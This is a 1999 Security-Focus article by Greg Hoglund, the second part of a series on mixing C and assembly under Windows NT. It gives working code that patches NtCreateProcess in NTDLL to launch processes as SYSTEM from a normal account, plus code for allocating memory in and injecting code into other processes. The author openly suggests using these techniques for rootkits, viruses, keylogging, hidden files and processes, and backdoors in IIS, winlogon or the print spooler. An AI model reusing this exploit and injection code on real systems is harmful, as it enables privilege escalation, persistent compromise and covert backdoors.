A Programming Fusion Technique For Windows NT
by Greg Hoglund <hoglund@ieway.com>                       Tue Dec 14
Tue Dec 14 1999                                           1999
A Fusion Technique                                        A Programming
                                                          Fusion
Using c/c++ and assembly together under Windows NT to     Technique For
stackguard, boobytrap, and otherwise get your hands       Windows NT
dirty.
                                                          Wed Dec 08
Part Two                                                  1999
                                                          A Programming
-Greg Hoglund, 1999 ( http://www.rootkit.com )            Fusion
Copyright Security-Focus.com 1999                         Technique For
                                                          Windows NT
[ subscribe to focus-ms mailing list ]
                                                          Thu Nov 18
Crossing Process Boundaries                               1999
                                                          Interpreting
With SE_DEBUG enabled, you can now cross process          Network
boundaries. This is all you need to write hooks,          Traffic: A
mean-ass rootkits, and killer virii.                      Network
                                                          Intrusion
Lets explore something that doesn't require               Detectors Look
kernel-mode access, but can be used to hack root on       at Suspicious
Windows NT. On my windows NT machine (4.0 SP3) - it       Events
turns out that I can actually overwrite the "parent
process" handle when creating a new process. This is a    Tue Nov 02
security problem in that I can create a process           1999
running as NT_AUTHORITY/SYSTEM from a normal user         Implementing a
account. I tried playing with this on Windows 2000 and    Secure Network
it didn't appear to work, but then again I didn't
spend alot of time on it.                                 Tue Oct 19
                                                          1999
Brandishing an example is timely:                         THE TRINITY OF
                                                          A QUALITY
void main(void)                                           INFORMATION
{                                                         SECURITY
DWORD oldProtectionMask;                                  PROGRAM v2

// you may or may not need this privilege                 Wed Oct 06
// by default, a normal user on my system                 1999
// does *not* need this enabled                           The Last Line
                                                          of Defense,
_enablePrivilege(SE_DEBUG_NAME);                          Broken

// get the address of our target                          Tue Sep 21
// this will be in kernel-memory so                       1999
// it will never change between procii                    Auditing Your
                                                          Firewall Setup
HMODULE hmodule = GetModuleHandle("ntdll.dll");
void *p = (void *) GetProcAddress( hmodule,               Thu Aug 26
"NtCreateProcess" );                                      1999
                                                          How to Get A
// now we need to be able to write to the address         Real Security
// by making a call to VirtualProtect(). First,           Budget
// we need to find out info about the PAGE of virtual
memory                                                    Wed Aug 25
// our address resides in. Then, we can unlock that       1999
entire                                                    Cautionary
// page to user-mode. So, we fill a                       Tales: Stealth
MEMORY_BASIC_INFORMATION                                  Coordinated
// structure with VirtualQuery() - then make our call     Attack HOWTO
to change
// access-protection.                                     Mon Aug 23
                                                          1999
MEMORY_BASIC_INFORMATION mbi;                             Why
VirtualQuery( p,                                          Crypto-Control
&mbi,                                                     Will Fail
sizeof (MEMORY_BASIC_INFORMATION));
                                                                [ more ]
VirtualProtect( mbi.AllocationBase,
mbi.RegionSize,
PAGE_EXECUTE_READWRITE,
&oldProtectionMask);

// at this point, we can write to the memory.
// Since 'p' points to a function in NTDLL, that
// means it points to actual code. We can overwrite
// this code with whatever we please.

// normally the code in NTDLL looks like this (from
SoftIce):
//:code on
//:u 77f67764
//_ZwCreateProcess
//0008:77f67764 b81f000000 mov eax,0000001f
//0008:77f67769 8d542404 lea edx,[esp+04]
//0008:77f6776d cd2e int 2e
//0008:77f6776f c22000 ret 0020
//0008:77f67772 8bc0 mov eax,eax
//_ZwCreateProfile
//0008:77f67774 b820000000 mov eax,00000020

// As you can see, the normal code is 14 bytes long
// giving us enough room to inject our own code.

unsigned long func = (unsigned
long)_hook_CreateProcess;

memcpy(p, "\xB8", 1); // mov eax, ...
p++;
memcpy(p, (void *)&func, 4); //address of function
p+=4;
memcpy(p, "\xFF\xE0", 2); // jmp eax
}

The new code, after alteration, look like:

//0008:77f67764 b8******** mov eax, <address of
function>
//0008:77f67769 e0ff jmp eax

We are redirecting to our own function,
_hook_CreateProcess. Once again we see our old friend
__declspec( naked ):

void __declspec (naked) _hook_CreateProcess()
{
__asm
{
mov eax, gNewHandle ; the handle to 'System'
mov dword ptr [esp+16], eax ; The 'sploit is Here
mov eax, 0x1F ; NtCreateProcess() on NT4
lea edx, dword ptr [esp+4]
int 2eh
retn 20h
}
}


We shouldn't be able to alter the parent process
handle like this - or the system should be able to
throw an exception - and check whether the parent
process is the same as the calling process - but none
of this occurs so we have our privilege elevation
attack. All we need to do is replace the parent
process handle with that of the 'System' process and
we are golden. Our process launches as
NT_AUTHORITY/System. To get the handle to the 'System'
process just store it as a global:

HANDLE gNewHandle = 0;

void main(void)
{
// get the handle to process #2 - the 'System' process

gNewHandle = OpenProcess(PROCESS_CREATE_PROCESS, 1,
2);
...
}

This attack only alters NTDLL locally to the process.
Remember that NTDLL lives in the lower 2GB of address
space, and therefore is context-sensitive to the
process in question. However, you could leverage the
SE_DEBUG privilege to inject code into *another*
process - and then apply this patch. For example,
imagine injecting this hook into explorer.exe. All you
your processes would be launched as 'System'. Another
approach could be to inject this into the WINLOGON
process - and you'll always have a handy
'super-taskmanager' you can use to kill any process
(or start new 'System' level processes). If you wanted
the change to be permanent, you could patch the binary
itself (a useful virus, perhaps?).



Allocating memory within another process

Lets say you want to launch a slab of bacon way up
into kernel mode. You have some concerns don't you?
Two seconds after launch your going to do a face-plant
over some critical kernel-routine, munge it, and
suffer the 'ol blue screen of death. You don't want to
be making tracks over the kernel - its a BAD THING.
Okay?

Looking over any memory, you keep seeing these empty
spaces - areas that have no code - devoid and clean.
These are called "black holes" and yes, you can use
them. Is it safe? Not at all. I have done this before
in a pinch. The problem is that the memory may
eventually get used for something. Then again, if your
choosy, it may not. Remember that memory is allocated
in pages, and the end of a page is often left unused.
It doesn't give you much to work with, however. There
is a better solution.

Using CreateRemoteThread() we can allocate memory
within another process space. We simply specify the
number of bytes we need as the stack space for the
thread ;-) The API for CreateRemoteThread() is:

HANDLE CreateRemoteThread(
HANDLE hProcess, // handle to process to create thread
in
LPSECURITY_ATTRIBUTES lpThreadAttributes, // pointer
to thread
// security attributes
DWORD dwStackSize, // initial thread stack size, in
bytes
LPTHREAD_START_ROUTINE lpStartAddress, // pointer to
thread function
LPVOID lpParameter, // pointer to argument for new
thread
DWORD dwCreationFlags, // creation flags
LPDWORD lpThreadId // pointer to returned thread
identifier
);

Of course, we need to give a start routine for
'lpStartAddress' - any guesses? How about
'ExitThread()' - it's loaded into the remote address
space already - all we need to do is give the address
to it. Since it's loaded up into DLL space - it's
going to be the same address across all process
spaces. We can just call 'GetProcAddress()' and pass
the value. Of course, we aren't actually going to let
the thread run - we need the KEEP the memory we just
allocated on the stack! So, we create the thread with
CREATE_SUSPENDED and leave it that way. Lastly, we
need to get the address of the new thread stack -
which we can do with GetThreadContext().

If you haven't already, open 'winnt.h' and take a look
at the CONTEXT structure. It stores many CPU-specific
values - including the stack pointer. For an x86 cpu,
the stack pointer is called 'esp'. For our purposes
here, I are going to assume you are running on an x86
processor. The following, then, is how to allocate
memory in another process:

void * alloc_in_process( HANDLE theProcessH, DWORD
theSize )
{
void * aMemP;
DWORD numBytes;
MEMORY_BASIC_INFORMATION mbi;
HINSTANCE aModule = GetModuleHandle("kernel32");
void *fp = GetProcAddress(aModule, "exitthread");
HANDLE hThread = CreateRemoteThread(
theProcessH,
NULL,
theSize, /* stack size */
(LPTHREAD_START_ROUTINE) fp,
0,
CREATE_SUSPENDED,
&aThreadID ))
if(hThread)
{
/* everything is OK */
CONTEXT aContext;
aContext.ContextFlags = CONTEXT_CONTROL;
if(!GetThreadContext( hThread, &aContext ))
return NULL;
VirtualQueryEx( theProcessH,
aContext.esp - 1,
&mbi,
sizeof(mbi));
aMemP = (void *) mbi.BaseAddress;

// write the thread handle at base of page
WriteProcessMemory( theProcessH,
aMemP,
&hThread,
sizeof(hThread),
&numBytes);

return((void *) ((PHANDLE) aMemP + 1));
}
return NULL;
}



Injecting code into another process

Once you have allocated some real estate you want to
setup your housing project - you need to inject some
code. Obviously you need to write some code first -
something to inject. Lets explore an easy way to do
that. You can use our old friend __declspec(naked) if
you choose. A fairly simple method involves no
assembly at all - just code straight 'c'. The
technique is sound and best shown by example. Lets
assume you want to inject the following three
functions:

#pragma check_stack (off)
static void test(int *a)
{
char c[10000];
int b;
b = 1;
(*a)++;
strcpy(c, "xdr");
}
static void after_test(void) {
}

static void test2(int *b)
{
char x[10000];
int a;
*b = 1;
strcpy(x, "xdr");
}
static void after_test2(void) {
}

static void test3(int *c)
{
char l[10000];
int a;
int b;
b = 1;
(*c)++;
strcpy(l, "xdr");
}
static void after_test3(void) {
}
#pragma check_stack

You need to turn off stack checking so that the
compiler doesn't insert weird stuff into your code. If
you need complete control, revert back to __declspec(
naked ) and you won't have any problems. The code
could be written into the remote process space by
first calculating the code size:

int code_size = ( (char *)after_test3 - (char *)test);

We then need to make sure the remote memory is
writable:

VirtualProtectEx( hRemoteProcess,
pRemoteMemory,
code_size,
PAGE_EXECUTE_READWRITE,
&old_protection);

And then we inject it:

WriteProcessMemory( hRemoteProcess,
pRemoteMemory,
(void *) test, /* the address of our first function */

code_size,
&num_bytes_tranferred);

If we actually want to start a remote thread to run
our code directly, we need to do things slightly
differently. Our technique for inserting code actually
involves CreateRemoteThread() - so we are going to
need to write a thread start function also. Remember
that allocating remote memory involved using
CreateRemoteThread() also. The difference is that
allocate_in_process() never intended to actually start
the thread - it was just a hack. Now that we *have*
memory, we are going to use CreateRemoteThread()
again, only this time we are going to start it. Note
that the two uses of CreateRemoteThread() do not
interfere with one another.

A thread procedure is defined as follows:

DWORD WINAPI ThreadProc( LPVOID lpParameter );

Therefore, we need to define our function this way:

#pragma check_stack (off)
static DWORD WINAPI test_thread(LPVOID theParameter)
{
// do something useful
}
static void after_test_thread(void) {
}
...
#pragma check_stack

Following the same procedure as above, we inject this
code into the remote process. We then can actually
*start* the thread! This is cool because we can use
our thread to patch remote processes and change their
behavior. Once the memory is injected, start the
thread like this:

hThread = CreateRemoteThread( hRemoteProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE) pRemoteMemory,
NULL, /* whatever you want to pass to thread */
0,
&thread_id);
ResumeThread(hThread);

/* wait for it if you choose */
WaitForSingleObject(hThread, INFINITE);

That's it! We have covered everything you need to know
to inject code into another process. An additional
technique you may want to try is passing data to the
remote thread for startup. Just allocate for whatever
data you want along with the thread (add it to the
calculated code_size ) and tack it to the end of the
code with WriteProcessMemory(). Just pass a pointer to
this as the parameter to the thread_start_routine.
Although this technique doesn't directly require
inline assembly, the injected payload will likely
employ such skills. Some ideas include altering the
behavior of the user's shell (explorer.exe or cmd.exe)
so that certain operations are redirected. You could
hide files or processes. You could capture keystrokes
or control windows messages. If the target process is
one of your services (think Apache or inetinfo.exe
(IIS)) you could open up *external* backdoors. If the
target is winlogon.exe you could open a backdoor in
the GINA. A really creative idea might be to patch
SPOOLSS.exe and run a covert channel through the print
server - you'd see all these plain one-liner text
files being printed as 'cmd.exe /c net user add ...'.

Sheesh, the ideas are endless.




                                       [ Post a reply ]
[Image]

Discussion
No comments have been posted.

                                 copyright
                     Interested in advertising with us?
